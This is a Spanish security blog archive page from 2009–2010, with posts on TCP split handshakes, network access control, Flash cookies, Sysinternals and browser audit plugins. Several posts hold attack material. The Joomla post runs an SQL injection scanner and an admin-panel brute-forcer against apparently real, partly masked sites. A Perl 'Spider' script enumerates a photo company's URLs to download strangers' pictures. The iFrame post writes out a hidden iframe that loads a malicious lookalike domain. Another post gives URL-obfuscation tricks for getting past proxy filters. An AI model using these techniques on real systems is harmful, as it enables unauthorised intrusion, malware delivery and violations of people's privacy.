Mostrando entradas con la etiqueta Internet. Mostrar todas las entradas
Mostrando entradas con la etiqueta Internet. Mostrar todas las entradas

16 de junio de 2010

TCP Split Handshake

Que mejor forma de retomar el blog que mandando un afectuoso salud a mis apreciados lectores, si los tuviera delante haríamos algo tal que así:

GigA --------->Hola:Lector

GigA:Hola + Mano<----------Lector

GigA:Mano<---------------->Mano:Lector

Etc.

Esto por si no lo habéis entendido es un saludo normal y corriente, que da paso a una conversación. Los humanos, fieles copiadores de lo que vemos en el mundo real decidimos trasladar esta forma de saludo a la informática, para que dos ordenadores pudieran iniciar su conversación lo harán de la misma forma. Es lo que conocemos como ThreeWay-Handsake , que originales somos:

Lo gracioso es que en el mundo virtual, al igual que en el real, pasamos del saludo a 3 bandas y pillamos a alguien desprevenido y le damos una colleja diciéndole: ¡ay maestro agujas!, ¡como vá capataz! (resto de saludos José Mota©), sin dejarle hablar ni nada. Esto entre colegas e incluso desconocidos puede ser gracioso, pero entre frías máquinas sin corazón es desastroso, tanto como que pueden reaccionar de formas raras, reiniciándose, parándose, ignorándote o accediendo a un nivel superior de funcionalidad (muchas veces esto también puede ocurrir con las mujeres), así una máquina se queda algo confusa cuando se le intenta abrir una conexión por ejemplo un SYN SEQ 1000, te responde con un SYN ACK 1000+1 SEQ 1500, y tu ignoras completamente su respuesta y vuelves a hacer otro SYN, y otro, y otro, y vas cambiando puerto, o le saturas un servicio a intentos de conexión, etc. Son muchas de las variedades de handshake que se pueden hacer en un escaner de puertos (para lo que vendría bien recordar esta entrada).

Sin embargo parecía que estaba todo inventado en lo que a saludos se refiere, cual es mi sorpresa cuando ayer me encontré esta interesante investigación de la gente de Macrothink, el TCP Split Handshake. Trasladado al lenguaje humano sería como realizar el saludo de forma normal, pero definir y recalcar cada una de las fases sin hacer nunca 2 cosas a la vez (¿?¿?), vale. Os pongo la imagen y me explico:

¿Qué es lo que se ha hecho?, separar el SYN, ACK que hace el servidor en dos pasos bien diferenciados, en dos paquetes distintos, algo que recoge perfectamente la RFC 793 en su página 27. Algo tan inocente como esto se ha probado con IDS/ IPS, routers, servidores, etc. con resultados más que soprendentes, y es que un servidor que tenga el protocolo de establecimiento de conexiones TCP alterado puede comprometer a sus clientes en una infinidad de casos. Veamos como reacciona el cliente cuando el servidor hace el split:

Lo que era un ThreeWay Handshake acaba convirtiéndose un FiveWay,,, de esto no decía nada la RFC 793. Otras curiosidades de esta particular forma de saludarse son que algunos IPS (lo probaron con un Juniper) no detectaron el ataque, sirviendo el splits tcp como técnica de evasión ya que, al no detectar la conexión como establecida no detectaba ataque alguno. En caso de NAT se encuentra de todo, desde un PIX-515 que era incapaz de hacer NAT y salir hacia otras redes con el splits TCP a un Cisco 2631 que se metía hasta Internet, luego parece que dependiendo del caso el NAT a priori no nos protegerá de este tipo de intentos de conexión. Finalmente, si estás ofreciendo un servicio en un puerto cualquiera, digamos el 22, y tu máquina es sometida a un escáner de red con un NMAP o similares no reaccionará tampoco de la forma habitual, pudiendo quedar oculto ese servicio o mal identificado:

Efectivamente esto para un atacante persistente no es un problema pero por ejemplo, para un barrido de un virus puede ser una “medida de seguridad”.

En resumen, este comportamiento anómalo en el establecimiento de conexiones por Split Handshake va a obligar a todo tipo de proveedores de equipos de comunicaciones, servidores, appliances de seguridad, etc. a añadir una excepción más o a contemplar que el ThreeWay Handshake no es la única forma de establecer una conexión TCP. Parece mentira que algo que lleva tantos años usándose no haya sido evaluado por muchos fabricantes en el 2010.

Ah, si queréis jugar tenéis scripts de ejemplo y capturas de Wireshark aquí, está hecho en Ruby y necesitareis las librerías libpcap para poder ejecutarlo.

Salu2

5 de diciembre de 2009

Trusted Network Connect

Cuando a principios de Octubre hablamos de Trusted Execution / Trusted Plataform dentro del marco de arquitectura de procesadores segura dimos alguna pincelada de un término que a día de hoy es crucial en toda corporación, Trusted Network Connect.

Actualmente la ubicación del puesto de trabajo es dinámica, y cada vez lo es mucho más. Nuestro personal está sentado en sus oficinas, pero también está desplazado en un cliente y requiere conectividad contra servicios y recursos que tiene en su puesto de trabajo, también viaja y probablemente tanga una BlackBerry o similares con la que necesita revisar el correo corporativo, esto es solo la punta del iceberg: No todos los empleados son iguales, hay desarrolladores, gente de sistemas, comerciales, jefes, gerentes y directores. Becarios recién contratados y externos, muchos externos, ya que también hacemos Outsourcing. Este personal ajeno también necesita conectividad para dar su servicio, es más, probablemente lo hará todo desde sus propias oficinas o quizás tengamos un hueco para ellos en nuestra empresa.

El perímetro de la organización es maleable y se corre el riesgo de que no se puede dar una solución de acceso a sistemas y servicios segura y robusta. En definitiva, un problemón para los arquitectos de red y el personal de seguridad que requiere de soluciones. Es aquí cuando entran en juego los accesos de confianza.

El Trusted Computing Group da una serie de directrices genéricas independientes de la tecnología para orientarnos un poco en como deben ser esos accesos.

Network Access Control

Este concepto simplificado al extremo trata de que un “cualquiera” que llegue a tu organización no sea capaz de enchufarse a tu red bien, por que ahí hay una roseta vacía o bien por que la Wifi está abierta a invitados. Esto hoy en día es sencillamente intolerable, pero el NAC va mucho más allá definiéndose como un conjunto de medidas de seguridad que nos aseguren que solo accederá a nuestra red aquel que tenga los correspondientes permisos y cumpla con un mínimo de políticas de seguridad, NAC es:
  • 802.1X
  • DHCP
  • VPN
  • Cumplimiento GpO.
  • Actualizaciones y parches del Sistema Operativo.
  • Antivirus actualizado y homologado.
Pero esto no es todo, debemos ser capaces de proveer u
na infraestructura de acceso que a parte de cumplir con todo lo anterior sea capaz de dar acceso a los recursos necesarios según el perfil / rol del usuario, esto se debe apoyar de forma indudable en una arquitectura de red segura (con todo lo que implica a nivel de VLANs, firewall, routing, etc.). Además los permisos de acceso deben ir alineados con los recursos accedidos, probablemente una persona de desarrollo necesite ser administrador en su equipo y trabajar en un entorno aislado alejado de producción, de igual forma se debe evitar que un administrador de BBDD sea capaz de modificar los datos que gestiona, siendo esta capacidad exclusiva de sus usuarios (esto creo que lo llamaban segregación de funciones).

Ahora bien, todo esto no es nuevo, las conexiones de confianza pueden llegar mucho más lejos y alcanzar a todos los dispositivos de mi red, impresoras, telefonía VoIP, cámaras de seguridad, etc. cuya actividad también deberá estar regulada. De manera adicional se instalarán sondas, IDS/IPS que controlen y detecten la actividad de los dispositivos / usuarios en la red, aquí es cuando surge un elemento adicional, el IF-MAP (Interface Metadata Access Point) Para no perdernos echemos un ojo a la siguiente imagen:


En la misma tenemos nuestros clientes “de confianza”, seguridad a nivel de red 802.1x, switches, routers, radius, firewalls, Policy Decision Point y, como capa adicional antes de llegar a los controles de seguridad aparece IF-MAP, ¿Qué es esto?, Con IF-MAP tenemos un protocolo cliente – servidor basado en XML y que utiliza SOAP + HTTPS. Su misión principal es recolectar datos de los dispositivos de red, metadatos que nos den una idea de quien es, a qué accede, que está solicitando y haciendo, etc. La estructura de los mensajes que maneja es la siguiente:
  • ip-adddress (v4 or v6)
  • mac-address
  • identity aik-name:
  1. dns-name
  2. email-address
  3. kerberos-principal
  4. trusted-platform-module
  5. username
  6. sip-uri
  7. tel-uri
  8. other (vendor defined)
  • access-request
  • device
Como imagináis esto abre un abanico de posibilidades a la hora de controlar los accesos a la red que delega en el Metadata Access Point controles de seguridad que en tiempo real detectan accesos inapropiados, dispositivos que tratan de acceder a recursos que no deben, alarmas (falsas o no) alineadas con el resto de dispositivos, etc. No han sido pocos los fabricantes que se han subido al carro del IF-MAP, en esta pequeña diapositiva se pueden ver algunos de ellos.

El paradigma de acceso a la red seguro con un servicio de confianza está cambiando continuamente, hay mucha tela para cortar aquí ya que estamos hablando de confianza extremo a extremo, multitud de capas de acceso, ingeniería de conocimiento y redes bayesianas para decidir cómo actuar sobre un dispositivo, etc. Por suerte hay mucha información disponible en la red, herramientas Open Source como FreeRadius, OpenSea 802.1X, el proyecto libTNC, etc.

Precaución, amigo conductor (happy bridge).

Salu2!

14 de noviembre de 2009

Joomla SQL Injector & Bruteforce

Los sitios Web basados en el gestor de contenidos Joomla se han extendido como moscas, los éxitos en Internet son así. Hace 4 años nadie apostaba un duro por una compañía llamada youtube y hoy sus creadores nadan en piscinas de oro, con joomla ha ocurrido algo parecido, apareció en el 2005, gustó y triunfó. Ahora cualquiera tiene su sitio web basado en joomla (Powered with Joomla!).

Actualmente corre una versión estable 1.5, lo que significa que en 4 años no han existido grandes revoluciones en su motor, eso sí, las plantillas existentes se cuentan por miles. Basado en PHP Joomla también tiene sus “cositas” de Seguridad, RFI, SQL Injection, XSS, etc. concretamente ayer me encontré con un SQL Injector escrito en Python muy sencillo de usar, incluye las alrededor de 123 vulnerabilidades de este tipo disponibles, en la página de descarga van actualizando el script a medida que se hacen públicas más vulnerabilidades, lo ejecutamos indicándole que cargue la lista de sitios web de list.txt y:

|---------------------------------------------------------------|

| beenudel1986[@]gmail[dot]com |

| Joomla Sql Injection Scanner 2.5.6 |

| 11/2008 joomsq.py |

| Do Visit www.BeenuArora.com & darkc0de.com |

| Total: 123 Vulns |

|---------------------------------------------------------------|

Enter the DB prefix or press Enter to use default

Do you think target has salted or unsalted version ! press y for yes or n for n o y

[+] JoomlaPath: www.*********gital.es

[+] Vuln. Loaded: 123

[+] Testing...

[-] Done

[+] JoomlaPath: www.p******o.com

[+] Vuln. Loaded: 123

[+] Testing...

Decepción, no me encuentra nada. Y es que a no ser que encontréis una página desarrollada con un Joomla antiguo (anterior 1.5) no funcionará. Desanimado pruebo un Joomla BruteForce Cracker también disponible en el sitio de “Dark Codes”, me descargo un pequeño diccionario (23000 palabras), ejecuto y:

|----------------------------------------------|

| rsauron[@]gmail[dot]com v1.0 |

| 7/2008 joomlabrute.py |

| - Joomla Administrator Panel BruteForcer |

| Usage: joomlabrute.py [options] |

| -h help darkc0de.com |

|----------------------------------------------|

[+] Proxy Not Given

[+] BruteForcing:http://www.p*********.com/administrator/

[+] Username:pluks

[+] Words Loaded: 213560

[+] [12:10:47]

[!] Login Successfull: pluks:aa

[-] [12:10:49]

[-] Total URL Requests 1

[-] Done

¿Suerte? No lo creo, confirmo la sospecha, es un “falso positivo”. ¿Cómo puede ser?, bueno los mensajes de error en Joomla son configurables, el script solo busca en la página web si aparece la palabra “username”, si no está supone que hay autenticación exitosa (un poco cutre quizás), sustituimos esa palabra por nuestro mensaje de error, ejecutamos nuevamente y:

|----------------------------------------------|

| rsauron[@]gmail[dot]com v1.0 |

| 7/2008 joomlabrute.py |

| - Joomla Administrator Panel BruteForcer |

| Usage: joomlabrute.py [options] |

| -h help darkc0de.com |

|----------------------------------------------|

[-] Proxy Not Given

[+] BruteForcing: http://www.p**********o.com/administrator/

[+] Username: pluks

[+] Words Loaded: 213560

[+] [13:28:04]

[-] Login Failed: aa

[-] Login Failed: aal

[-] Login Failed: aalii

Esto tiene mejor pinta, ahora es solo cuestión de tiempo. Como vemos los administradores de sitios web basados en Joomla tampoco pueden relajarse en términos como robustez de contraseñas, actualización de parches, etc. Si no pueden encontrarse fácilmente con un deface :-p

Buen fin de semana!

9 de noviembre de 2009

reCAPTCHA

Creo que la medida de seguridad que hoy voy a presentar a pesar de ser bien conocida -a la par que odidada en algunas ocasiones- añadirá un puntito adicional a su favor que otras soluciones parecidas no disponen: bajo coste y robustez. Hablábamos hace un par de entradas de “encuestas seguras”, su cada vez mayor presencia y relevancia en los medios de comunicación que pueden (y no es erróneo decirlo) engañar a la opinión pública. Pues bien, una aplicación práctica de reCAPTCHA es la protección contra ataques por repetición en las encuestas. Claro está a alguno le puede parecer exagerado para una encuesta, es solo un ejemplo, seguro que se os ocurren otras muchas aplicaciones.
Entrando en detalle, reCAPTCHA es un servicio que puede incrustarse de forma gratuita en cualquier aplicación web, incluye 2 palabras distintas que deben escribirse separadas, lo cual añade un puntito más de robustez. Además incluye compatibilidad para discapacitados permitiendo la emisión de CAPTCHAs en forma de sonido. Para instalarlo es necesario darse de alta en el sistema con el dominio que se vaya a utilizar, con esto se nos proporcionarán dos claves, una pública y una privada. Al incrustar el siguiente código javascript en nuestro frontal web:

Se hará una llamada a los servidores de recaptcha y se incrustará el desafío en el frontal, lo que vayamos a hacer con él ya es nuestra decisión. Ahora bien dependiendo del lenguaje de nuestra aplicación web deberemos acudir aquí para obtener los recursos que analicen y verifiquen el CAPTCHA, por ejemplo en ASP deberemos añadir una librería a nuestro proyecto que contiene una serie de llamadas para verificar el CAPTCHA, este proceso se realiza nuevamente contra servidores externos, para mayor claridad:

Es decir, en 1) el usuario carga la página web que tiene incrustado el CAPTCHA, en 2) el browser solicita a los servidores de reCAPTCHA el reto, esta petición la hace con la clave publica del servidor. Después en 3) el usuario soluciona el reto y esa solución es enviada al servidor de aplicaciones (o el frontal web dependiendo de la arquitectura), en 4) este servidor contacta con el API Server, aquí es cuando se utiliza la clave privada para verificar que efectivamente la petición no ha sido manipulada en su recorrido, el API server devuelve el resultado del desafio, esto lo recogerá el servidor de aplicaciones proporcionando una respuesta dependiendo de si se ha superado el desafió o no.


¿Sencillo? A mi me parece que sí, como detalle final añadir que el API Server detecta las IP de los clientes que solucionan “muchos” CAPTCHA en pocos minutos, evitando así que en caso de que el desafío se haya visto comprometido se realicen ataques por repetición bloqueando la IP origen temporalmente.


Bueno, bonito y barato, lo ideal para comenzar la semana :)

Salu2


PD: Entrada relacionada de Breaking CAPTCHAS.

10 de septiembre de 2009

Flash Cookies


Que a todos nos gusta mantener la privacidad no es ninguna novedad, que ignoramos hasta que punto nuestra actividad queda registrada en nuestro sistema operativo muchas veces si. Todos sabemos que una cookie es (literal de Wikipedia) “un fragmento de información que se almacena en el disco duro del visitante de una página web a través de su navegador, a petición del servidor de la página. Esta información puede ser luego recuperada por el servidor en posteriores visitas. En ocasiones tambilén se le llama huella”. Esto está bastante bien ya que ayuda a los servidores a reconocer a los clientes y decir, ¡ey! Tu ya estuviste aquí, y la ultima vez te interesó esto, así que te voy a ofrecer información de eso, y de esto otro que seguro que también te gusta. Y miel sobre hojuelas.

No obstante muchas veces tenemos que compartir nuestro PC con familiares, amigos y quizás no nos gusta que vean “nuestras cosillas”, por ello de forma periódica decimos, ¡limpieza de historial”, ¡limpieza de contraseñas!, ¡limpieza de cookies!, incluso muchas veces miramos con curiosidad que guardan los servidores de nosotros y nos vamos a la carpeta de las cookies a indagar, al fin y al cabo nunca dieron buena espina y son susceptibles de múltiples ataques como robo de cookies, cookie spoofing o cross-site cooking (de los cuales por cierto, tengo que hablar un día).

Una vez realizada la limpieza que todos los navegadores permiten respiramos más tranquilos, ¿verdad?, ¡no, error! Todavía quedan cookies, y son las relativas a las paginas que utilizan objetos flash (léase, más de la mitad de las 100 páginas más visitadas de Internet), también conocidas como “Local Share Object” o Flash Cookies . Podemos buscar archivos .SOL en nuestro equipo que no encontraremos ninguno, sin embargo se encuentran aquí (en XP y Vista):

%APPDATA%\Macromedia\FlashPlayer\#SharedObjects\\\\.sol

Lo más curioso de todo es que la forma que han habilitado en Adobe para que las veamos, configuremos y demos permisos es a través de su página Web, desde donde de forma dinámica serán cargadas. Estas cookies además tienen poderes “especiales “ (recuerdan a las galletas de la tontuna del Facebook (...parecidos razonables)) y pueden “regenerar” cookies http que habíamos eliminado, tienen un tamaño por defecto de 100 KB y encima no tienen por qué expirar, así que si las miráis probablemente encontréis páginas de vuestra adolescencia.

Por suerte existen editores de archivos SOL como “soleditor” que permiten explorarlas todas y ver que guardan de nosotros, en la mayoría de los casos información relativa al volumen y poco más, en otros como esta de Terra Mitica hay objetos más chulos, aunque las posibilidades son muy variadas:

Ya sabéis, cuidado qué desayunáis ;-)

Salu2!

4 de septiembre de 2009

Sys Internals

Hagamos un Kit Kat en esta semana intensa de vuelta a la normalidad para presentaros un pack de herramientas de Windows, si con las Net Tools teníamos casi todo lo que hace falta para trabajar a nivel de red (como vimos aquí ) con Sys Internals tendremos un control mucho mayor sobre lo que pasa en nuestra máquina Windows (preferiblemente XP, algunas de ellas no se llevan bien con WVista y W7, otras sí) a nivel de procesos, registro de Windows, arranque del sistema operativo, conexiones de red e incluso un detector de Rootkits!, Merece la pena:

Process Explorer (): Un básico con unos añitos del que ya se oyó hablar cuando vimos el Svchost Analyzer. Procesos padres, hijos, consumo de CPU, hilos lanzados, consumo de CPU, etc. Una gozada:

PSTools : Pack de herramientas de gestión de procesos, con las que podremos jugar todo lo que queramos en nuestros sistema (o en otros xD) incluye:

- PsExec: Ejecuta procesos de forma remota.

- PsFile: Muestra archivos abiertos de forma remota.

- PsGetSid: Muestra el SID de un equipo o un usuario.

- PsInfo: Muestra información acerca de un sistema.

- PsKill: Elimina los procesos por el nombre o Id. de proceso.

- PsList: Muestra información acerca de procesos.

- PsLoggedOn: Averigua quién ha iniciado sesión de forma local y a través de recursos compartidos (origen completo incluido).

- PsLogList: Vuelca los registros de eventos.

- PsPasswd: Cambia las contraseñas de cuenta.

- PsService: Muestra y controla los servicios.

- PsShutDown: Apaga y reinicia opcionalmente un equipo.

- PsSuspend: Suspende los procesos.

- PsUptime: Muestra el tiempo durante el que se ha ejecutado un sistema desde el último reinicio (la funcionalidad de PsUptime se ha incluido en PsInfo).

AutoRuns: El comando msconfig nos permite editar el boot.ini, ver que servicios se arrancan con nuestro Sistema Operativo y que programas se ejecutarán sin necesidad de que estén en la carpeta de “Inicio”, todo eso está muy bien y es básico, pero con AutoRuns alcanzaremos una granularidad mucho mayor, librerias, drivers, tareas del scheduled, ¡codecs!, de todo lo que os podáis imaginar. Muy útil para entender como funciona nuestro sistema operativo:

RootkitRevealer: ¿Crees que tu antivirus no lo detecta todo? Entonces crees bien, si quieres echar un vistazo rápido a tu registro de Windows y detectar inconsistencias, buscar el gato encerrado que hay en tu sistema operativo y alimentar tu paranoia, esta es tu herramienta:

TCPView: Yo creo que si los millones de Script Kiddies del mundo que buscan en los foros el Puerto del messenger conocieran esta herramienta saldrían hackers como setas. No, en serio, con TCPView tendremos un conocimiento casi total sobre todos los flujos TCP y UDP que llegan y salen de nuestra máquina, su estado, el proceso que los inició (algo parecido al netstat –ban pero más profundo) así como la posibilidad de matar los procesos o cerrar las conexiones que no tengan buena pinta, muy util:

Poco a poco vamos ampliando nuestro kit de herramientas, ¿verdad?

Espero que tengáis una vuelta “amable”, ¡salu2!

16 de julio de 2009

Firefox Tunning: Top 10 plug-ins

Debates acerca de qué navegador Web es mejor hay casi todos los días, estadísticas sobre cual es más seguro también. Están aquellos que no salen de Internet Explorer, los amantes de Firefox, empieza a surgir un grupo numeroso (entre el que me encuentro) que les gusta la agilidad y rapidez del Chrome, los applemaniacos tienen su Safari, etc. Etc. Independientemente de cual utilices estarás conmigo en que hay uno de todos ellos que destaca por la cantidad ingente de complementos y plug-in de que dispone: Firefox.

De aquí surge la idea, ¿puede ser un navegador una buena herramienta de trabajo en nuestras auditorias? Por supuesto que si, es casi indispensable. Ahora bien, ¿puede agilizarnos el trabajo? También.

He hecho una pequeña lista con los 10 plug-ins más interesantes para hacer Firefox tunning, evidentemente no estaréis de acuerdo con algunos de ellos y otros los desconoceréis, de igual forma si conocéis alguno que puede venir bien, animaros a comentad :-)

1.- User Agent Switcher à Indispensable si quieres cambiar la forma en la que te presentas a los servidores web.

2.- Foxy Proxy à Muy útil para cambiar de proxy de forma ágil, si utilizáis herramientas como Paros es indispensable.

3.- FireGPG à Utilidad para incorporar cifrado y autenticación PGP a nuestro correo electrónico, lobosoft ya nos hablo de él cuando vimos el PGP Desktop.

4.- Secure Password Generator (Firefox 3.0) à Sencilla utilidad para generar nuestras password de forma robusta.

5.- Ghostery 1.5.1 à Este fantasmita se nos incorporará en la barra de tareas avisándonos cuando el sitio que visitemos intenta recuperar información “adicional” de nosotros. Muy util para proteger nuestra privacidad.

6.- Dr.Web anti-virus link checker 1.0.20 à Y que tal si en vez de bajarnos algo y pasarle el antivirus, lo hacemos “antes” de que ya esté en nuestro equipo, o de otra forma, antes de visitar una pagina web y cargarla, ¿por qué no revisamos el enlace? Dr.Web lo hace por nosotros.

7.- Access Me à Esta herramienta y las dos siguientes forman parte de un pack de auditoria web donde se tratará de acceder a links ocultos, hacer SQL injection en su forma básica y XSS, genera sus propios informes y todo :) proporcionado por Security Compass.

8.- SQL Inject-Me

9.- Exploit-Me

10.- Web Of Trust à Incorpora a tus busquedas en google, bint, etc. un indicador con la confianza que puedes tener al visitar un sitio web.

10 + 1.- Panic Button 1.1.2!! (este ya sabeis para que vale).

Es posible que al final os junteis con un monton de complementos y al final os salgan unas barras minimo como esta, pero a buen seguro ganareis en seguridad y agilidad :-)

Salu2!

*Nota del autor: Un link más completo de Firefox Tunning, lo teneis aquí: http://www.security-database.com/toolswatch/Turning-Firefox-to-an-Ethical.html hay algunos que ya los señalaba yo, y otras que efectivamente se echan de menos, habrá que subir de Top 10 a Top 30 :-)

7 de julio de 2009

Spider 0.01

Lo bueno de estas fechas es que te puedes pirar 1 semana de vacaciones, volver, y comprobar que todo sigue más o menos donde lo dejaste aunque el centenar de correos almacenados de distintas listas de correo, buzones, amigos que comparten extrañezas y similares se empeñen en llevar la contraria.

Al fin y al cabo 1 semana no es mucho tiempo (de ahí que se pase rapidísima cuando uno tiene los pies en remojo en aguas levantinas), no obstante incluso en vacaciones surgen conversaciones de seguridad o al menos se te ocurren ideas para la vuelta. Así ocurrió cuando tras pasar por Terra Mitica decidimos comprar una de esas fotos que te tiran cuando llevas cara de "Speed". En este caso la compra se tradujo en un ticket con un código donde te metes en un sitio web y tras meterlo te puedes bajar la foto. La estructura del código era la siguiente:

Nombre del Parque: TM (Terra Mitica)

Atracción: Cataratas del Nilo (CN)

Mes: X

Dia: YY

Codigo de imagen: JZZZZ (ZZZZ à [0-9999]

Así por ejemplo TMCN707J1384 será la foto 1384 disparada el 7 de Julio en Cataratas del Nilo en Terra Mitica, ahora bien solo se suben las fotos que son adquiridas, el resto se eliminan (supongo). Al final este código se traduce en una URI que te adentra en un árbol de directorios hasta tu foto:

http://www.sitioweb_empresafotos.com/RIDES/TMCN/702/FullRes/codigofoto.jpg

Entonces me dije, estaría bien ver las fotos de toda la gente que pasó por allí ese día, ya sabes, solo por ver las caras, curiosidad felina, llámalo X. ¿Cómo hacerlo? Lo primera idea que me vino fue preguntarle al malvado Google, que tiene sus arañas por ahí explorando la red de redes, una búsqueda para el sitio con filetype:jpg no me proporcionó nada. Alternativa, listar el contenido de las carpetas: no tengo permisos. Alternativa, bajarme todos los ficheros con un pequeño Script. Problema: llevo sin programar 2 años, ¿me acordaré? Ahora que recuerdo estuve trasteando con el TargetSearch de pentester en PERL hace unas semanas, parece que PERL puede ser un buen lenguaje. Asi es como surgió este pequeño Spider:

#!/usr/bin/perl

#Spider by GigA#

use LWP::Simple;
use LWP::UserAgent;
my $ua = LWP::UserAgent->new;
$ua->timeout(1);
$ua->env_proxy;
use ExtUtils::MakeMaker;

print "Spider 0.01 by GigA\n";
print "We start the download series, $i\n";
my $user = prompt "Proxy user:";
my $password = prompt "Proxy password:";
$ENV{HTTP_PROXY} = 'http://proxy.local:8080';
$i = $i -1;

for($i=1000;$i<2000;$i++){
   $string = '0' x ( 4 - length($i) ) . $i;

my $status = getstore("http://www.sitio_empresa.com/RIDES/TMCN/704/FullRes/J$string.jpg", "J$string.jpg");

if ( is_success($status) )
{
   print "File downloaded correctly\n";
}
else
{
   print "Error downloading file J$string.jpg: $status\n";
}
}

Y con esto nos podemos descargar todos los archivos que sepamos hay en una carpeta de un sitio Web (siempre que tengamos acceso claro):

Le he incluido autenticación por Proxy aunque te funcionará igualmente si no pones nada, viendo la potencia y sencillez de PERL pillarme un librito para aprender realmente será obligación este verano.

¿Cómo mejorar este pequeño script? Ocultando o cifrando los caracteres mostrados en pantalla, permitiendo que detecte y busque en subcarpetas, acelerando el tiempo de las busquedas, etc. Etc. Vamos, todo lo que puede hacer un programa para hacer “site download” pero sin realizar búsquedas en el código de la pagina Web.

¿Sugerencias?

Salu2!

24 de junio de 2009

iFrame Injection

Journalist: Do you think that something like Skynet is possible in the future?

Security Consultant: While just one Security Consultat keep breathing, that won’t happen.

Una cosa que siempre me ha causado cierta admiración es la habilidad e imaginación que las mentes de los “hackers” son capaces de desarrollar a la hora de generar sus ataques. Es una curiosa mezcla entre una gran conocimiento metodológico y sistemático de unos sistemas diseñados por el hombre sobre una base matemática y algebraica que a su vez requiere de gran creatividad e imaginación para obtener nuevas puertas, vulnerabilidades, brechas o como quieras llamarlo sobre sistemas que ya otras muchas personas se estuvieron comiendo la cabeza antes como diseñar. Recuerda un poquito a una partida de ajedrez, los movimientos son conocidos y limitados, pero las posibilidades casi infinitas (como la paradoja del grano de arroz y el tablero de ajedrez).

Esta mañana revisaba un paper con los principales vectores de ataque que el cybercrimen está utilizando en esta primera mitad del 2009, entre los que destacan estos 5:

- SQL Injection

- iFrame Injection

- Encryption Wrappers (malware)

- File Masquerading (algo que ya vimos en el Rosillo Project)

- Encryption techniques in peer to peer systems for bypass web gateways inspection systems.

El documento hace referencia a como los chicos malos utilizan tecnología tan interesante como el Grid Computing para lograr una cantidad ingente de recursos a su disposición (son las conocidas como botnets) y utilizar a su antojo. Independientemente de la opinión que os merezcan estos 5 vectores hay uno del cual llevaba sin escuchar mucho tiempo, es el iFrame Injection.

iFrame Injection

Hagamos un poquito de literatura, un iFrame o “marco incorporado” (que mal suena) es un trozito de codigo HTML que permitirá incrustar un objeto html dentro de una pagina html. Esto puede tener muchas utilidades, entre ellas la publicidad, pero alguien no tardó mucho tiempo en aprovecharse de estos “marcos” con fines delictivos. Todos recordamos esa oleada de correos que en los años 2002-2004 no había siquiera que abrir, ya que incluían código maligno que ejecutaba el gusano anexo del correo que a su vez aprovechaba una vulnerabilidad del Explorer para hacer su trabajo. Toda una interesante vuelta para llegar al objetivo de siempre: comprometer un sistema. Original, ¿verdad?

La idea se ha reciclado un poquito y vuelve a la carga, la definición que se da en el paper es la siguiente:

"iFrame injections can be as small as 1x1 white píxel at the bottom of a web page uncen by the visitor and linked to active scripts that download malware from an obscure Server"

Según Symantec cada dia unas 3000 páginas web son infectadas, algunas de ellas mediante esta técnica que bien podría utilizarse también para hacer phishing, ¿cómo? Supongamos que logro comprometer un servidor web desarrollado en ,,, digamos php (por poner un ejemplo). Supongamos que inyecto en el archivo index.php (los iFrames no son exclusivos del código HTML) el siguiente código maligno:

iframe src=”http://goooogleadsence.biz/?click=8F9DA” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

Como se puede apreciar el atributo de visibilidad está en “oculto”, con lo cual no se mostrará en pantalla, sin embargo se ejecutará. Lo cual cargará una pagina web maligna dentro de “la buena”. Si el sitio ya ha sido catalogado por google como “maligno” es muy probable que nos salte un disclaimer como el siguiente:

Que a su vez nos permitirá ejecutar el “Safebrowsing” de google, quien nos informará del estado de esa Web en los últimos 90 dias, por ejemplo si queremos ver el número de infecciones del Marca nos dirá:

Por lo que podremos ver mañana la victoria de España a EE.UU. con tranquilidad (esperemos). Un consejo, consultad vuestra entidad bancaria, hay alguna sorpresilla.

Esto como suponeis puede ser una pesadilla para un administrador web que tiene que recorrer todas las páginas comprometidas buscando una cadena de texto y eliminándola / reparándola, a veces son cosas tan sencillas como sustituir una referencia por otra:

https://www.victim.foo/index.php?targeturl=http://fake_victim.foo/login.php

Se puede incluso complicar la detección de estas URL para que pase totalmente desapercibida valiéndonos de alguna de las técnicas de “Proxy Jocking” que vimos hace poco, haciéndonos pensar que todo está bien cuando no es así.

Info adicional:

Cleaning iFrame Injections

Frame Injection Fun

Clean.PHP (encuentra patrones conocidos en tu sitio web)

Web Legales en Jaque (Panda - WhitePaper)

Como veis, "nuevas" amenazas para viejos vectores de ataque.

Salu2!

21 de junio de 2009

Phish or No Phish, It's the Question

Con la ola de calor que estamos sufriendo no hay nada como irse al rio un poquito de pesca. Sacar la caña meter los pies en el agua y esperar que pique alguien o algo :-p

En esas estaba cuando me he encontrado este curioso sitio de Verisign con un pequeño test para ver lo bien que eres capaz de diferenciar los sitios reales de los fraudulentos. Una vez más he podido comprobar la retórica de "Todo es seguro", fallé una pregunta :-(

¿Y vosotros, habeis hecho pleno al 15?

Salu2!

PD: Como corolario por si quereis refrescaros más os dejo aquí el enlace al informe de Symantec de phishing 2009 (Abril), España no goza de gran protagonismo en este escenario, USA como siempre en cabeza:

Curiosidad adicional, ¿falta un 30% de mundo o está tan bien distribuido entre los paises en blanco?

9 de junio de 2009

Proxy Joking

Mum! Bart is making faces!!

Response: Lisa, it’s your father… I guess

A raiz de la entrada de URL OFUSCATION de Eduardo Abril me picó la curiosidad sobre alternativas para “engañar” o echar una mentira piadosa a esos Proxy que siempre nos están filtrando el tráfico. No me refiero a saltarnos la autenticación, para eso se supone que estamos enchufados en la Intranet de nuestra universidad, empresa, etc. Y si tienes conectividad y no tienes usuario para salir a Internet seguramente ya sabes donde conseguirlo y como.

Hoy hablamos de saltarnos los filtros del Proxy para que naveguemos en esas páginas de construcción de explosivos que tan poco nos gustan, o en megaupload, youtube, facebook y lo que tengáis censurado. Las técnicas que comentaba Eduardo, más orientadas para el engaño a un IDS o a un servidor de aplicaciones, también nos valdrán. Trabajaremos con la misma base, www.milw0rm.com. Repasemos:

1.- Añadir parámetros absurdos à http://www.milw0rm.com/index.php?hola=1&adios=2

2.- Sustituir URL por IP à http://76.74.9.18/index.php?hola=1&adios=2

3.- Traducir a hexadecimal (por ejemplo desde aquí el nombre de archivo solicitado y los parámetros: à http://76.74.9.18/%69%6e%64%65%78%2e%70%68%70?hola=1&adios=2

4.- Utilizar un “anonimizador” (patada a la RAE) à http://anonym.to/?http://76.74.9.18/index.php?hola=1&adios=2

¿Gracioso verdad? Pues todavía hay muchas más posibilidades y casi todas se traducen en pedir lo mismo, pero de otra forma, como cuando te dan una mala noticia con buenas palabras, o cuando ponemos cara de poker. Ahí van mis alternativas:

